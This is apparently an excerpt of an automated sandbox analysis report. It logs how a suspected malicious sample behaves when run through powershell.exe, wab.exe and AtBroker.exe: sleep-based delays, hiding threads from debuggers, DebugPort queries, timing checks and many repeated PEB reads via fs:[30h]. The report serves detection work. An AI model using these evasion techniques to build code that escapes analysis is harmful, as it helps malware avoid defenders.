Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5480	Thread sleep count: 7092 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6532	Thread sleep count: 2658 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6356	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 2076	Thread sleep time: -38000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wab.exe, 0000000A.00000002.2334979890.0000000007FD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2376883288.000001C0C181F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 10_2_23BFBBA0 rdtsc

10_2_23BFBBA0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_0314D504 LdrInitializeThunk,LdrInitializeThunk,

5_2_0314D504

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8C3CD mov eax, dword ptr fs:[00000030h]	10_2_23C8C3CD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8B3D0 mov ecx, dword ptr fs:[00000030h]	10_2_23C8B3D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF33A5 mov eax, dword ptr fs:[00000030h]	10_2_23BF33A5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC8397 mov eax, dword ptr fs:[00000030h]	10_2_23BC8397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC8397 mov eax, dword ptr fs:[00000030h]	10_2_23BC8397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC8397 mov eax, dword ptr fs:[00000030h]	10_2_23BC8397
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8F3E6 mov eax, dword ptr fs:[00000030h]	10_2_23C8F3E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF438F mov eax, dword ptr fs:[00000030h]	10_2_23BF438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF438F mov eax, dword ptr fs:[00000030h]	10_2_23BF438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCE388 mov eax, dword ptr fs:[00000030h]	10_2_23BCE388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCE388 mov eax, dword ptr fs:[00000030h]	10_2_23BCE388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCE388 mov eax, dword ptr fs:[00000030h]	10_2_23BCE388
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA53FC mov eax, dword ptr fs:[00000030h]	10_2_23CA53FC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0656A mov eax, dword ptr fs:[00000030h]	10_2_23C0656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0656A mov eax, dword ptr fs:[00000030h]	10_2_23C0656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0656A mov eax, dword ptr fs:[00000030h]	10_2_23C0656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0B570 mov eax, dword ptr fs:[00000030h]	10_2_23C0B570
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0B570 mov eax, dword ptr fs:[00000030h]	10_2_23C0B570
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C07505 mov eax, dword ptr fs:[00000030h]	10_2_23C07505
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C07505 mov ecx, dword ptr fs:[00000030h]	10_2_23C07505
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4500 mov eax, dword ptr fs:[00000030h]	10_2_23CA4500
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCB562 mov eax, dword ptr fs:[00000030h]	10_2_23BCB562
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7F525 mov eax, dword ptr fs:[00000030h]	10_2_23C7F525
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8B52F mov eax, dword ptr fs:[00000030h]	10_2_23C8B52F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8550 mov eax, dword ptr fs:[00000030h]	10_2_23BD8550
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8550 mov eax, dword ptr fs:[00000030h]	10_2_23BD8550
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0D530 mov eax, dword ptr fs:[00000030h]	10_2_23C0D530
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0D530 mov eax, dword ptr fs:[00000030h]	10_2_23C0D530
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA5537 mov eax, dword ptr fs:[00000030h]	10_2_23CA5537
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA54DB mov eax, dword ptr fs:[00000030h]	10_2_23CA54DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD64AB mov eax, dword ptr fs:[00000030h]	10_2_23BD64AB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C794E0 mov eax, dword ptr fs:[00000030h]	10_2_23C794E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD9486 mov eax, dword ptr fs:[00000030h]	10_2_23BD9486
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD9486 mov eax, dword ptr fs:[00000030h]	10_2_23BD9486
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCB480 mov eax, dword ptr fs:[00000030h]	10_2_23BCB480
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD04E5 mov ecx, dword ptr fs:[00000030h]	10_2_23BD04E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C034B0 mov eax, dword ptr fs:[00000030h]	10_2_23C034B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C044B0 mov ecx, dword ptr fs:[00000030h]	10_2_23C044B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5A4B0 mov eax, dword ptr fs:[00000030h]	10_2_23C5A4B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E443 mov eax, dword ptr fs:[00000030h]	10_2_23C0E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8F453 mov eax, dword ptr fs:[00000030h]	10_2_23C8F453
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCC427 mov eax, dword ptr fs:[00000030h]	10_2_23BCC427
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCE420 mov eax, dword ptr fs:[00000030h]	10_2_23BCE420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCE420 mov eax, dword ptr fs:[00000030h]	10_2_23BCE420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCE420 mov eax, dword ptr fs:[00000030h]	10_2_23BCE420
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF340D mov eax, dword ptr fs:[00000030h]	10_2_23BF340D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA547F mov eax, dword ptr fs:[00000030h]	10_2_23CA547F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C08402 mov eax, dword ptr fs:[00000030h]	10_2_23C08402
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C08402 mov eax, dword ptr fs:[00000030h]	10_2_23C08402
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C08402 mov eax, dword ptr fs:[00000030h]	10_2_23C08402
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFA470 mov eax, dword ptr fs:[00000030h]	10_2_23BFA470
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFA470 mov eax, dword ptr fs:[00000030h]	10_2_23BFA470
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFA470 mov eax, dword ptr fs:[00000030h]	10_2_23BFA470
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1460 mov eax, dword ptr fs:[00000030h]	10_2_23BD1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1460 mov eax, dword ptr fs:[00000030h]	10_2_23BD1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1460 mov eax, dword ptr fs:[00000030h]	10_2_23BD1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1460 mov eax, dword ptr fs:[00000030h]	10_2_23BD1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1460 mov eax, dword ptr fs:[00000030h]	10_2_23BD1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BEF460 mov eax, dword ptr fs:[00000030h]	10_2_23BEF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BEF460 mov eax, dword ptr fs:[00000030h]	10_2_23BEF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BEF460 mov eax, dword ptr fs:[00000030h]	10_2_23BEF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BEF460 mov eax, dword ptr fs:[00000030h]	10_2_23BEF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BEF460 mov eax, dword ptr fs:[00000030h]	10_2_23BEF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BEF460 mov eax, dword ptr fs:[00000030h]	10_2_23BEF460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC645D mov eax, dword ptr fs:[00000030h]	10_2_23BC645D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF245A mov eax, dword ptr fs:[00000030h]	10_2_23BF245A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDB440 mov eax, dword ptr fs:[00000030h]	10_2_23BDB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDB440 mov eax, dword ptr fs:[00000030h]	10_2_23BDB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDB440 mov eax, dword ptr fs:[00000030h]	10_2_23BDB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDB440 mov eax, dword ptr fs:[00000030h]	10_2_23BDB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDB440 mov eax, dword ptr fs:[00000030h]	10_2_23BDB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDB440 mov eax, dword ptr fs:[00000030h]	10_2_23BDB440
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE0BBE mov eax, dword ptr fs:[00000030h]	10_2_23BE0BBE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE0BBE mov eax, dword ptr fs:[00000030h]	10_2_23BE0BBE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7EBD0 mov eax, dword ptr fs:[00000030h]	10_2_23C7EBD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5FBDC mov eax, dword ptr fs:[00000030h]	10_2_23C5FBDC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5FBDC mov eax, dword ptr fs:[00000030h]	10_2_23C5FBDC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5FBDC mov eax, dword ptr fs:[00000030h]	10_2_23C5FBDC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDBA0 mov eax, dword ptr fs:[00000030h]	10_2_23BFDBA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDBA0 mov eax, dword ptr fs:[00000030h]	10_2_23BFDBA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDBA0 mov eax, dword ptr fs:[00000030h]	10_2_23BFDBA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDBA0 mov eax, dword ptr fs:[00000030h]	10_2_23BFDBA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDBA0 mov eax, dword ptr fs:[00000030h]	10_2_23BFDBA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDBA0 mov eax, dword ptr fs:[00000030h]	10_2_23BFDBA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C11BEF mov eax, dword ptr fs:[00000030h]	10_2_23C11BEF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C11BEF mov eax, dword ptr fs:[00000030h]	10_2_23C11BEF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C99B8B mov eax, dword ptr fs:[00000030h]	10_2_23C99B8B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C99B8B mov eax, dword ptr fs:[00000030h]	10_2_23C99B8B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFEBFC mov eax, dword ptr fs:[00000030h]	10_2_23BFEBFC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8BF0 mov eax, dword ptr fs:[00000030h]	10_2_23BD8BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8BF0 mov eax, dword ptr fs:[00000030h]	10_2_23BD8BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8BF0 mov eax, dword ptr fs:[00000030h]	10_2_23BD8BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C09B9F mov eax, dword ptr fs:[00000030h]	10_2_23C09B9F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C09B9F mov eax, dword ptr fs:[00000030h]	10_2_23C09B9F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C09B9F mov eax, dword ptr fs:[00000030h]	10_2_23C09B9F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8FB97 mov eax, dword ptr fs:[00000030h]	10_2_23C8FB97
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE3BD6 mov eax, dword ptr fs:[00000030h]	10_2_23BE3BD6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE3BD6 mov eax, dword ptr fs:[00000030h]	10_2_23BE3BD6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE3BD6 mov eax, dword ptr fs:[00000030h]	10_2_23BE3BD6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE3BD6 mov eax, dword ptr fs:[00000030h]	10_2_23BE3BD6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE3BD6 mov eax, dword ptr fs:[00000030h]	10_2_23BE3BD6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD0BCD mov eax, dword ptr fs:[00000030h]	10_2_23BD0BCD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD0BCD mov eax, dword ptr fs:[00000030h]	10_2_23BD0BCD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD0BCD mov eax, dword ptr fs:[00000030h]	10_2_23BD0BCD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7BCD mov eax, dword ptr fs:[00000030h]	10_2_23BC7BCD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7BCD mov ecx, dword ptr fs:[00000030h]	10_2_23BC7BCD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF0BCB mov eax, dword ptr fs:[00000030h]	10_2_23BF0BCB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF0BCB mov eax, dword ptr fs:[00000030h]	10_2_23BF0BCB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF0BCB mov eax, dword ptr fs:[00000030h]	10_2_23BF0BCB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD9BC4 mov eax, dword ptr fs:[00000030h]	10_2_23BD9BC4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C78B42 mov eax, dword ptr fs:[00000030h]	10_2_23C78B42
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9AB40 mov eax, dword ptr fs:[00000030h]	10_2_23C9AB40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFEB20 mov eax, dword ptr fs:[00000030h]	10_2_23BFEB20
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFEB20 mov eax, dword ptr fs:[00000030h]	10_2_23BFEB20
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1B04 mov eax, dword ptr fs:[00000030h]	10_2_23BD1B04
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1B04 mov eax, dword ptr fs:[00000030h]	10_2_23BD1B04
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDB00 mov eax, dword ptr fs:[00000030h]	10_2_23BFDB00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDB00 mov eax, dword ptr fs:[00000030h]	10_2_23BFDB00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDB00 mov eax, dword ptr fs:[00000030h]	10_2_23BFDB00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDB00 mov eax, dword ptr fs:[00000030h]	10_2_23BFDB00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDB00 mov eax, dword ptr fs:[00000030h]	10_2_23BFDB00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDB00 mov edx, dword ptr fs:[00000030h]	10_2_23BFDB00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCCB7E mov eax, dword ptr fs:[00000030h]	10_2_23BCCB7E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8FB0C mov eax, dword ptr fs:[00000030h]	10_2_23C8FB0C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4EB1D mov eax, dword ptr fs:[00000030h]	10_2_23C4EB1D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C98B28 mov eax, dword ptr fs:[00000030h]	10_2_23C98B28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C98B28 mov eax, dword ptr fs:[00000030h]	10_2_23C98B28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C09B28 mov eax, dword ptr fs:[00000030h]	10_2_23C09B28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C09B28 mov eax, dword ptr fs:[00000030h]	10_2_23C09B28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCFB4C mov edi, dword ptr fs:[00000030h]	10_2_23BCFB4C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C26ACC mov eax, dword ptr fs:[00000030h]	10_2_23C26ACC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C26ACC mov eax, dword ptr fs:[00000030h]	10_2_23C26ACC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C26ACC mov eax, dword ptr fs:[00000030h]	10_2_23C26ACC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C04AD0 mov eax, dword ptr fs:[00000030h]	10_2_23C04AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C04AD0 mov eax, dword ptr fs:[00000030h]	10_2_23C04AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDAAE mov eax, dword ptr fs:[00000030h]	10_2_23BFDAAE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCFAA4 mov ecx, dword ptr fs:[00000030h]	10_2_23BCFAA4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBAA0 mov eax, dword ptr fs:[00000030h]	10_2_23BDBAA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBAA0 mov eax, dword ptr fs:[00000030h]	10_2_23BDBAA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8AA0 mov eax, dword ptr fs:[00000030h]	10_2_23BD8AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD8AA0 mov eax, dword ptr fs:[00000030h]	10_2_23BD8AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0AAEE mov eax, dword ptr fs:[00000030h]	10_2_23C0AAEE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0AAEE mov eax, dword ptr fs:[00000030h]	10_2_23C0AAEE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7A80 mov eax, dword ptr fs:[00000030h]	10_2_23BC7A80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7A80 mov eax, dword ptr fs:[00000030h]	10_2_23BC7A80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7A80 mov eax, dword ptr fs:[00000030h]	10_2_23BC7A80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80 mov eax, dword ptr fs:[00000030h]	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA4A80 mov eax, dword ptr fs:[00000030h]	10_2_23CA4A80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8FA87 mov eax, dword ptr fs:[00000030h]	10_2_23C8FA87
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C08A90 mov edx, dword ptr fs:[00000030h]	10_2_23C08A90
